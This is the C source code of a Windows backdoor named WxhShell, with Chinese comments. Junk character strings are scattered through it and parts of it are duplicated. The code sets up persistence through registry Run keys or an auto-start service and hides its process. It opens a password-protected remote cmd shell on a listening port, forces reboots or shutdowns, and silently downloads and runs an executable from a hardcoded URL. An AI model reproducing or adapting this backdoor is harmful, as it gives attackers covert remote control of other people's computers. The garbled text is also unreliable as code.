>LPIvmT4D? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~8-xj6^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $'::51 4AF.KX7 if (!NtQueryInformationProcess) return 0; `joyHKZI. a6;5mx hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S&D8Rao5 if(!hProcess) return 0; cJM.Q_I}Y {M\n if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,# %I$ l|;]"&|_]c CloseHandle(hProcess); %J9+`uSl .S* sGauM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C9,Uwz<!] if(hProcess==NULL) return 0; T#[#w*w/ R D?52\ HMODULE hMod;
NfmHa char procName[255]; $s 'n]]Wq unsigned long cbNeeded; g8"H{u n?9FJOqi if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C5e;U 7*He 8G[W CloseHandle(hProcess); =j{Kxnv 3~Ap1_9 if(strstr(procName,"services")) return 1; // 以服务启动 ["<'fq;PJ #%V+- b( return 0; // 注册表启动 QiJ } lnF{5zc LyL(~Jc| // 主模块 ktp<o.f[ int StartWxhshell(LPSTR lpCmdLine) 8PWEQ<ev7> { HK%W7i/k@ SOCKET wsl; _N0N#L4M BOOL val=TRUE; ,/!^ZS* int port=0; #u +~ ^M struct sockaddr_in door; HuQdQ*Q ?0qP6'nWx if(wscfg.ws_autoins) Install(); \m:('^\6o . lNf.x#u port=atoi(lpCmdLine); EG3u)}vI Dt iM}=: if(port<=0) port=wscfg.ws_port; 0]^gT' o%0To{MAF- WSADATA data; oa`7ClzD if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~@T`0W-Py %J1oz3n if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Jje!*?&8X setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W! J@30 door.sin_family = AF_INET; k~,
k@mR door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,ne3uPRu7~ door.sin_port = htons(port); O%px>rdkY ud"Kko Rt if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'ud[#@2 closesocket(wsl); #Jr4LQ@A9 return 1; Q{yjIy/b } 91nw1c! 9`M7 -{ if(listen(wsl,2) == INVALID_SOCKET) { sa"}9IE*8 closesocket(wsl); Iyb_5 UmpF return 1; t J&tNSjTi } )lq+Gv[%F Wxhshell(wsl); q1m{G1W
n WSACleanup(); "b%FkD kv;P2:"| return 0; 77ztDQDtM RdNLf } | IS$Om (%"9LYv // 以NT服务方式启动 IFhS(3YK[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c@J@*.q] { )ybF@emc DWORD status = 0; ~R50-O DWORD specificError = 0xfffffff; hVui.] !(Y,2{ serviceStatus.dwServiceType = SERVICE_WIN32; T)',}= serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ba**S8{/` serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :\y' ?d- Q serviceStatus.dwWin32ExitCode = 0; JV_VM{w{K serviceStatus.dwServiceSpecificExitCode = 0; f[ia0w5 m serviceStatus.dwCheckPoint = 0;
T;V!>W37 serviceStatus.dwWaitHint = 0; DgY
!)cS |"+Ufw^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mkl^2V13~ if (hServiceStatusHandle==0) return; 1I)oT-~ C2\zbC[qm status = GetLastError(); A~ _2" if (status!=NO_ERROR) NB+/S ;` { m(0X_&&?z serviceStatus.dwCurrentState = SERVICE_STOPPED; g(,^';j serviceStatus.dwCheckPoint = 0; n|KYcU# serviceStatus.dwWaitHint = 0; U.JE \/ serviceStatus.dwWin32ExitCode = status; L0GQH;Y,h serviceStatus.dwServiceSpecificExitCode = specificError; "fW
}6pS SetServiceStatus(hServiceStatusHandle, &serviceStatus); DJAKF return; TQ5kM } \Pcn D$L dC|6z/ serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Q0H)//~ serviceStatus.dwCheckPoint = 0; M|fV7g serviceStatus.dwWaitHint = 0; V Ew| N) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t[@>u'YKt } u8M_2r beSU[ // 处理NT服务事件,比如:启动、停止 XUD Ztxa VOID WINAPI NTServiceHandler(DWORD fdwControl) A7|L|+ ? { "F6gV;{Bt switch(fdwControl) /bPs0>5 { G=SMz+z case SERVICE_CONTROL_STOP: 76KNgV)3 serviceStatus.dwWin32ExitCode = 0; ={+8jQqi1 serviceStatus.dwCurrentState = SERVICE_STOPPED; 9C0#K\ serviceStatus.dwCheckPoint = 0; 1:>F{g serviceStatus.dwWaitHint = 0; DUh\x>^ { Ez-Q'v(9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); w~ON861 } $2RSYI`py return; _l"nwEs case SERVICE_CONTROL_PAUSE: SD<a#S\o serviceStatus.dwCurrentState = SERVICE_PAUSED; ,>8w|951' break; )^+hm+27v case SERVICE_CONTROL_CONTINUE: e<[ ] W4"A serviceStatus.dwCurrentState = SERVICE_RUNNING; 1hE{(onI break; N_Kdi%q case SERVICE_CONTROL_INTERROGATE: Vzo<ma^ break; ;BYuNQr }; I~&9c/& SetServiceStatus(hServiceStatusHandle, &serviceStatus); -esQyLx } -6~.;M 5 P;mp)1C // 标准应用程序主函数 =0 !j"z= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RZ;s_16GQ { Poa&htxe1 py+\e"s // 获取操作系统版本 y@It#!u0 OsIsNt=GetOsVer(); o]<9wc:FZ
GetModuleFileName(NULL,ExeFile,MAX_PATH); a^pbBDi
W bLAHVi<. // 从命令行安装 2#r4dr0 if(strpbrk(lpCmdLine,"iI")) Install(); :tI
F*pC R&a$w8 // 下载执行文件 0H]{,mVs if(wscfg.ws_downexe) { a@d 15CN if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9dBxCdpu WinExec(wscfg.ws_filenam,SW_HIDE); ,&qC
R
sw } t(9q6x3|e }m~MN4 l if(!OsIsNt) { @un+y9m[C // 如果时win9x,隐藏进程并且设置为注册表启动 Q2uV/M1? HideProc(); 5j6`W?|q StartWxhshell(lpCmdLine); ~!!|#A)W } f'H|K+bO else >]z^.U7= if(StartFromService()) Z6A-i@ // 以服务方式启动 nSC2wTH!1 StartServiceCtrlDispatcher(DispatchTable); JXYZ5&[ else > pP&/ // 普通方式启动 GNe^~ StartWxhshell(lpCmdLine); Y)+q[MZ R XWyP'\ return 0; \Z&Nd;o } -THMTRFz $2?j2}M fe,6YXUf =I)43ahd =========================================== kFV, Fg . R/y`:1:W j)6p>6 zdd-n[%@V ,^97Ks
; 0FgF, " %S}uCqcAK 6/Xs}[iJ #include <stdio.h> ,3y9yJQa*# #include <string.h> ]L7A$sTUQ #include <windows.h> 2R.LLE #include <winsock2.h> _Uq' N0U #include <winsvc.h> <.B+&3') #include <urlmon.h> ^}B,0yUu' }$4z$& #pragma comment (lib, "Ws2_32.lib") >[,eK= #pragma comment (lib, "urlmon.lib") v|o{AL:ei HOF$(86zqA #define MAX_USER 100 // 最大客户端连接数 wz*iwd- #define BUF_SOCK 200 // sock buffer tmooS7\a #define KEY_BUFF 255 // 输入 buffer ElV!C}g 5;U Iz@BJ #define REBOOT 0 // 重启 "8{A4N1B5 #define SHUTDOWN 1 // 关机 }:
HG)V .'gm2 #define DEF_PORT 5000 // 监听端口 x9 %=d 4^F%bXJ) #define REG_LEN 16 // 注册表键长度 N+rU|iMa. #define SVC_LEN 80 // NT服务名长度 '#Au~5 =I@t%Y // 从dll定义API r(46jV.sD: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "+-
'o+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K+F"V W*? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _!@:@e)yB{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); czuIs|_K* [eDrjf3m // wxhshell配置信息 +*:mKx@Nw struct WSCFG { /[.V( K
D int ws_port; // 监听端口 -HG.GA char ws_passstr[REG_LEN]; // 口令 R[a-" int ws_autoins; // 安装标记, 1=yes 0=no At4\D+J{Vs char ws_regname[REG_LEN]; // 注册表键名 1x:W 3. char ws_svcname[REG_LEN]; // 服务名 \}s/<Q char ws_svcdisp[SVC_LEN]; // 服务显示名 !i^"3!.l,] char ws_svcdesc[SVC_LEN]; // 服务描述信息 d?2ORr|m= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Cp6S2v I int ws_downexe; // 下载执行标记, 1=yes 0=no T8x)i\< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Og/aTR<;= char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $`E?=L`$ %
/VCjuV }; &uK(. @ 6*q1%rs:w // default Wxhshell configuration ^{4BcM7eH struct WSCFG wscfg={DEF_PORT, ;7QXs39S "xuhuanlingzhe", Mh.1KI[t 1, 10Ik_L=' "Wxhshell", 25$_tZPAI "Wxhshell", G?1GkR "WxhShell Service", 5@w6pda "Wrsky Windows CmdShell Service", &*=!B9OBI "Please Input Your Password: ", U]=yCEb8p 1, oAQQ OtpZN "http://www.wrsky.com/wxhshell.exe", hul,Yd) Z "Wxhshell.exe" 6 dRhK+| }; %^IQ< g<W]NYm // 消息定义模块 WiS3W;
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rPaJ<>Kz char *msg_ws_prompt="\n\r? for help\n\r#>"; &q-&%~E@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AG@gOm char *msg_ws_ext="\n\rExit."; c>_ti+ char *msg_ws_end="\n\rQuit."; Hd|[>4 Z char *msg_ws_boot="\n\rReboot..."; <l{oE?N char *msg_ws_poff="\n\rShutdown..."; k&ci5MpN char *msg_ws_down="\n\rSave to "; &zdS9e-fF d_yvG.#C char *msg_ws_err="\n\rErr!"; aDF@AS char *msg_ws_ok="\n\rOK!"; cag 5w~Px Lq2Q:w' char ExeFile[MAX_PATH]; e= IdqkJ% int nUser = 0; $[>{s9E HANDLE handles[MAX_USER]; &<VU}c^! int OsIsNt; gwoe1:F:J *#T:
_ SERVICE_STATUS serviceStatus; S hI1f SERVICE_STATUS_HANDLE hServiceStatusHandle; HAxLYun(3w mr\,"S-` // 函数声明 (p-q>@m int Install(void); Kjd3!%4mB int Uninstall(void); 0)ohab int DownloadFile(char *sURL, SOCKET wsh); :y-;V int Boot(int flag); .<%tu 0 void HideProc(void); >G6kF!V int GetOsVer(void); IA2VesHb int Wxhshell(SOCKET wsl); q]?qeF[ void TalkWithClient(void *cs); 1K#>^!?M
int CmdShell(SOCKET sock); ^wIB;!W int StartFromService(void); nR{<xD^ int StartWxhshell(LPSTR lpCmdLine); atTR6%!6 L 4j#0I]lq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W{F)YyR{. VOID WINAPI NTServiceHandler( DWORD fdwControl ); M\R+:O& IVNH.g' // 数据结构和表定义 r%U6,7d=) SERVICE_TABLE_ENTRY DispatchTable[] = {r_HcI(h { 0;bdwIP3 {wscfg.ws_svcname, NTServiceMain}, ;g0Q_F@;p {NULL, NULL} 0=$/ }; wQ+pVu?6_ rl|'.~mc // 自我安装 ?^Rp"
H int Install(void) e
)0 ]WJ { qLEYBv-3 char svExeFile[MAX_PATH]; "iSY;y o HKEY key; ^Ps! strcpy(svExeFile,ExeFile); FK^xZ?G ``l*;} // 如果是win9x系统,修改注册表设为自启动 ${Un#]g if(!OsIsNt) { xt^1,V4Ei~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?Q"andf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6$urrSQ`N0 RegCloseKey(key); nwFBuP<LR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MQoA\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); duG!QS: RegCloseKey(key); <P h50s4 return 0; Wk%|%/: } jIs>> } Cqr{Nssu } pP| @Z{7d` else {
_E C7r>V& N~!,
S;w // 如果是NT以上系统,安装为系统服务 mw"FQ?bJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iB)\*) if (schSCManager!=0) ]?y~;-^ { #[prG SC_HANDLE schService = CreateService I$;`^z ( qO>UN[Y schSCManager, Y#F.{i wscfg.ws_svcname, ;M~,S^U wscfg.ws_svcdisp, Y_%:%J SERVICE_ALL_ACCESS, 05wkUo:9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v@\S$qU2 SERVICE_AUTO_START, `etw[#~N SERVICE_ERROR_NORMAL,
|vs5N2_ svExeFile, vb>F)X?b_ NULL, Ae>+Fcv NULL, poQ_r<I NULL, ^#R`Uptib NULL, )g@+
MR NULL NY.Cr.} ); IBa0O|*6 if (schService!=0) MLd;UHU { \IL)~5d CloseServiceHandle(schService); |S8$NI2 CloseServiceHandle(schSCManager); :!aLa}`@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;%n'k strcat(svExeFile,wscfg.ws_svcname);
~@'wqGTp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g{N}]_%Uh RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kY]"3a RegCloseKey(key); /b,>fK^ return 0; m*y&z'e\ } IWo'{pk } ^%f8JoB CloseServiceHandle(schSCManager); 'h$1
z$X5 } W8& )UtWQ } 1V2]@VQF |=q~X}DA return 1; M(C">L]8 } c+FTt(\8. .n7@$kq // 自我卸载 s{^B98d+W int Uninstall(void) tD.#*.7 { zH1;h HKEY key; kK75 (x }d.X2? if(!OsIsNt) { g
*,O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #L.,aTA< RegDeleteValue(key,wscfg.ws_regname); sa.H,<; RegCloseKey(key); VP1hocW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F6U#EvL RegDeleteValue(key,wscfg.ws_regname); ]
2
`%i5 RegCloseKey(key); 'Ix@<$~i3F return 0; l= {Y[T& } j@4MV^F2c } _[[0rn$ } %IO*(5f else { 7hk<{gnr ^Laqq%PI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e|k]te if (schSCManager!=0) QT c{7& { ]wid;< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kZ5#a)U< if (schService!=0) f#ZM2!^! { T<*)Cdid if(DeleteService(schService)!=0) { 94B%_ CloseServiceHandle(schService); KS*,'hvY CloseServiceHandle(schSCManager); 5t%8y!s return 0; Fip
5vrD } 7^i7U-A<A CloseServiceHandle(schService); d[6 'w ? } xb\EJ1M> CloseServiceHandle(schSCManager); 3wfcGQn|sD } 6xDk3 } I(M/X/ 336ETrG^0 return 1; T`e`nQ0nn } uGZGI;9f4 |3~m8v2- // 从指定url下载文件 RG'iWA,9m` int DownloadFile(char *sURL, SOCKET wsh) CR$wzjP j { (?l ]}p^[ HRESULT hr; X$@`4 char seps[]= "/"; LcGKYl(\K char *token; I0x)d` char *file; ,yC..aI char myURL[MAX_PATH]; K<^p~'f4P char myFILE[MAX_PATH]; g>t1rZ bll[E}E|3 strcpy(myURL,sURL); *)RKU),3nL token=strtok(myURL,seps); >N#Nz
0|( while(token!=NULL) +6uf6&.@~ { )h@PRDI_ file=token; /xUF@%rT token=strtok(NULL,seps); Q\4tzb] } E3 % ~!ZC brmSJ7 GetCurrentDirectory(MAX_PATH,myFILE); \a+Q5g strcat(myFILE, "\\"); 8-@@QZ\N strcat(myFILE, file); YC1Bgz send(wsh,myFILE,strlen(myFILE),0); \Vme\Ke*v) send(wsh,"...",3,0); +q
pW"0[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ymm]+v5S.] if(hr==S_OK) dU9;sx return 0; _&]7 else 6rnFXZ\ return 1; M d4Q.8 ?EC\.{ } ;~0q23{+;U -+[Lc_oNPx // 系统电源模块 X|\`\[ int Boot(int flag) 6CFnE7TQf { nFJW\B&(` HANDLE hToken; 2,:{ 5]Q$ TOKEN_PRIVILEGES tkp; BI%^7\HZ {#kCqjWG if(OsIsNt) { I3 "6" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z]9t 5I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <( OHX3~ tkp.PrivilegeCount = 1; Jk%5Fw0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C&yZ` [K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C<=rnIf' if(flag==REBOOT) { q;[HUyY, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $9?:P}$v return 0; CF>&mXg\ } *sldv else { curYD~7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x'0_lf</# return 0; '!A}.wF0 } QcrhgR } 'ge$}L}4 else { aB6/-T+u if(flag==REBOOT) { f_)# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) el2Wk@* return 0; 6hj[/O)E } Y-bTKSn else { +ZbNSN= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VLV]e_D6s return 0; pnuo;r s } ~qZ6I)? } $e+4Kt
, uD(C jHM> return 1; CmXLD} L_x } VWzQXo ^.:&ZsqV // win9x进程隐藏模块 hrnE5=iY void HideProc(void) &Y^4>y% { PESvx>: W! $U{= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |Ogh-<|< if ( hKernel != NULL ) 1qR$ Yr\ { Pm6U:RL pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &OJ?Za@p@) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); hY!ek;/Gc FreeLibrary(hKernel); :rM2G@{ } ,Z
@I"&H ~D@ YLW1z( return; tf6-DmMH } 6am6'_{ wlP3 XF? // 获取操作系统版本 o@N[O^Q
V int GetOsVer(void) _`p-^I { C[.Xi OSVERSIONINFO winfo; f3Zf97i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Sed8Q-m GetVersionEx(&winfo); Ej)7[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L{VnsY V return 1; 4L:O0Ggz} else ~S<aIk0l return 0; hiibPc?I } z2{y<a9;? mKu,7nMvF // 客户端句柄模块 -BP10-V int Wxhshell(SOCKET wsl) Ms +ekY) { OIj.K@Kr SOCKET wsh; V'#R1 x"3 struct sockaddr_in client; 7k,BE2]" DWORD myID; q)9n%- YgP 2FaCrc/ while(nUser<MAX_USER) bD=H$) { *lA+-gkK* int nSize=sizeof(client); L754odc wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;6 W[%{ if(wsh==INVALID_SOCKET) return 1; Csy$1;"A HI{q# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); F?tWx+N<{ if(handles[nUser]==0) q6rkp f,Tl closesocket(wsh); ,+IFV else S'^ q nUser++; ;o'r@4^&$R } CyLwCS{V\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d+G%\qpzQ @:RoY vk$ return 0; Dqo#+_v } X+sKG5nS m5
sW68 // 关闭 socket V-7l+C5 void CloseIt(SOCKET wsh) uvJHkAi { tz2=l.1 closesocket(wsh); 7omHorU+ nUser--; ]QHp?Ii1 ExitThread(0); d)V8FX,t } uWKmINjv' 5-GS@fY // 客户端请求句柄 "`cN k26JZ void TalkWithClient(void *cs) W/\VpD) ?; { Z8Ig, ,x1OQ jtY SOCKET wsh=(SOCKET)cs; @@^iN~uf char pwd[SVC_LEN]; y akRKiz\ char cmd[KEY_BUFF]; pt"9zkPj char chr[1]; T0dD:s N int i,j; ~n@rX=Y)]0 a(6h`GHo while (nUser < MAX_USER) { @*<0:Q|m D|Q7dIZm if(wscfg.ws_passstr) { (_4DZMf if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C{m%]jKH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [u!n=ev //ZeroMemory(pwd,KEY_BUFF); ?2#'>B i=0; y>w;'QR&a while(i<SVC_LEN) { &~+QPnI>Pm VO eVS&} // 设置超时 VQqBo~ fd_set FdRead; G\F>* struct timeval TimeOut; r!fUMDS FD_ZERO(&FdRead); g/f6N
z FD_SET(wsh,&FdRead); XxMZU(5 TimeOut.tv_sec=8; TaD;_)( TimeOut.tv_usec=0; 7^#f)Vp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pD({"A.x9z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MhCU;
! 9MfU{4:;I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yIn$ApSGY pwd=chr[0]; R 39_! if(chr[0]==0xd || chr[0]==0xa) { XfE9QA[ pwd=0; R+NiIoa break; Ws|`E`6O } P#!N i++; gZ^Qt.6Z } QPB,B>Z ;$&\:-6A# // 如果是非法用户,关闭 socket 2kDY+AN; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F4G81^H } 9o5D3
d
K -!_8>r;Q4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }~+,x# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #at`7#K@ z
mip while(1) { 4zS0kk;+ =[]6NjKS, ZeroMemory(cmd,KEY_BUFF); ciODTq? cg3}33Z;6 // 自动支持客户端 telnet标准 $2h%IK>#G j=0; E>]K#H
while(j<KEY_BUFF) { ]Ac}+? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l~;>KjZg cmd[j]=chr[0]; -MS#YcsV if(chr[0]==0xa || chr[0]==0xd) { ]87BP%G cmd[j]=0; :sg}e break; Dj96t5R } ) %Fwfb j++; LE<J<~2Z } 24#qg' L>~Tc // 下载文件 .+ u
b\ if(strstr(cmd,"http://")) { 7?R600OA send(wsh,msg_ws_down,strlen(msg_ws_down),0); JXJ+lZmsz if(DownloadFile(cmd,wsh)) u|t l@_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8-x-?7 else L_Gw:"-+Q send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 70 7( LG } cw!,.o%cD else { At:8+S<?A ?'P}ZC8P switch(cmd[0]) { 3U >-~-DS ??p%_{QY~b // 帮助 ?yS1|CF%&y case '?': { Zw9;g+9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =|P
&G~] break; b`-|7<s } @5nFa~*K% // 安装 @/<UhnI case 'i': { *
HKu%g if(Install()) %nY\" send(wsh,msg_ws_err,strlen(msg_ws_err),0); W#<1504ip else 7m-% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _aPAn|. break; =lJ
?yuc } "wOfs$w%s // 卸载 @M"gEeI9 case 'r': { )k,n} if(Uninstall()) DSz[,AaR] send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7tcadXk0 else 5&n{QE?Um send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OtqFI!ns break; {3`385 } 4=tR_s // 显示 wxhshell 所在路径 +>q#eUS) case 'p': { :_R:>n9 p char svExeFile[MAX_PATH]; Os"('@jd> strcpy(svExeFile,"\n\r"); 2DCQ5XewYe strcat(svExeFile,ExeFile); PoF3fy%. send(wsh,svExeFile,strlen(svExeFile),0); hU#e\L 7 break; h`|04Q } ]j*2PSJG // 重启 } jj) case 'b': { EhHxB
fAQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); en< $.aY if(Boot(REBOOT)) {Uw
0zC send(wsh,msg_ws_err,strlen(msg_ws_err),0); =D/zC'l else { O6;"cUv closesocket(wsh); l\s!A&L ExitThread(0); pIlEoG=[_ } a<G&}|6 break; W91yj: } 5X!-Hj
// 关机 rz "$zc.) case 'd': { nzflUR{`- send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h+g\tYWGP if(Boot(SHUTDOWN)) v(2N@s<% send(wsh,msg_ws_err,strlen(msg_ws_err),0); o&q>[c else { E]`7_dG+T closesocket(wsh); }sXTZX ExitThread(0); +x"uP } FRd"F$U break; ^AP8T8v } X.t4; // 获取shell q?(]
Y* case 's': { Y b+A{` CmdShell(wsh); OT{"C"%5t closesocket(wsh); !&VfOx:PN ExitThread(0); Q7865 break; *HKw;I
} >aVgI<
// 退出 ]b4IO4T case 'x': { $,4h\>1WP send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WkTJ M CloseIt(wsh); fM;,9 break; Rg?6e N } 7N9NeSH // 离开 /}? 7Eni case 'q': { !__0Vk[s send(wsh,msg_ws_end,strlen(msg_ws_end),0); [%P#ieD4 closesocket(wsh); CZ5\Et6r WSACleanup(); %T/@/,7h exit(1); KrE'M break; ntW@Fm:bw> } 9|+6@6VY! } mOE *[S) } s\-,RQ1 .9jKD*U| // 提示信息 z]G|)16
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (>v'0RA } \/NF??k,jk } ukWn@q* @?3f`l
9 return; LIZB!S@V \ } 5f-b>=02 ^dQ{vL@9b9 // shell模块句柄 REUxXaN>Z int CmdShell(SOCKET sock) =hPXLCeC { 0xB2 STARTUPINFO si; Qz~uD'Rs/ ZeroMemory(&si,sizeof(si)); isZ5s\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "D(Lp*3hj& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `R[Hxi PROCESS_INFORMATION ProcessInfo; .hl_zc# char cmdline[]="cmd"; W:]FYC CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ww7Ya]b.k return 0; I~GF%$-G } iM+`7L' =kd$??F // 自身启动模式 9njl,Q: int StartFromService(void) "z~ba>,-\ { ux; ?WPyr typedef struct @]=40Yj~w { WgtLKRZ\ DWORD ExitStatus; $]2)r[eA) DWORD PebBaseAddress; Y2H-D{a27 DWORD AffinityMask; r\Nfq(w DWORD BasePriority; N^Re ULONG UniqueProcessId; `AJ[g>py^| ULONG InheritedFromUniqueProcessId; b^1QyX^?: } PROCESS_BASIC_INFORMATION; eVXXn)> C 0w+
j PROCNTQSIP NtQueryInformationProcess; TQa}Ps 3nxG>D7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; VeoG[Jl static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zCx4DN` f9D e!"*& HANDLE hProcess; `Fy-"Uf PROCESS_BASIC_INFORMATION pbi; (j:
ptQ2$ V>{< pS HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t[^$F, if(NULL == hInst ) return 0; ~3&{`9Y *3GV9'-P g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~4~`bT9 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yYG<tUG; NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jup)m/ =6%oW2E\ if (!NtQueryInformationProcess) return 0; 22\!Z2@T/ R@vcS=m7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kBu{ bxL if(!hProcess) return 0; oaoTd$/5 /R)wM#& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >[}oH2oi YDt+1Kw}D CloseHandle(hProcess); y>^a~}Zq G95,J/w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {Mx(|)WkL if(hProcess==NULL) return 0; ^t;z;.g ks'>?Dw HMODULE hMod; (Fv
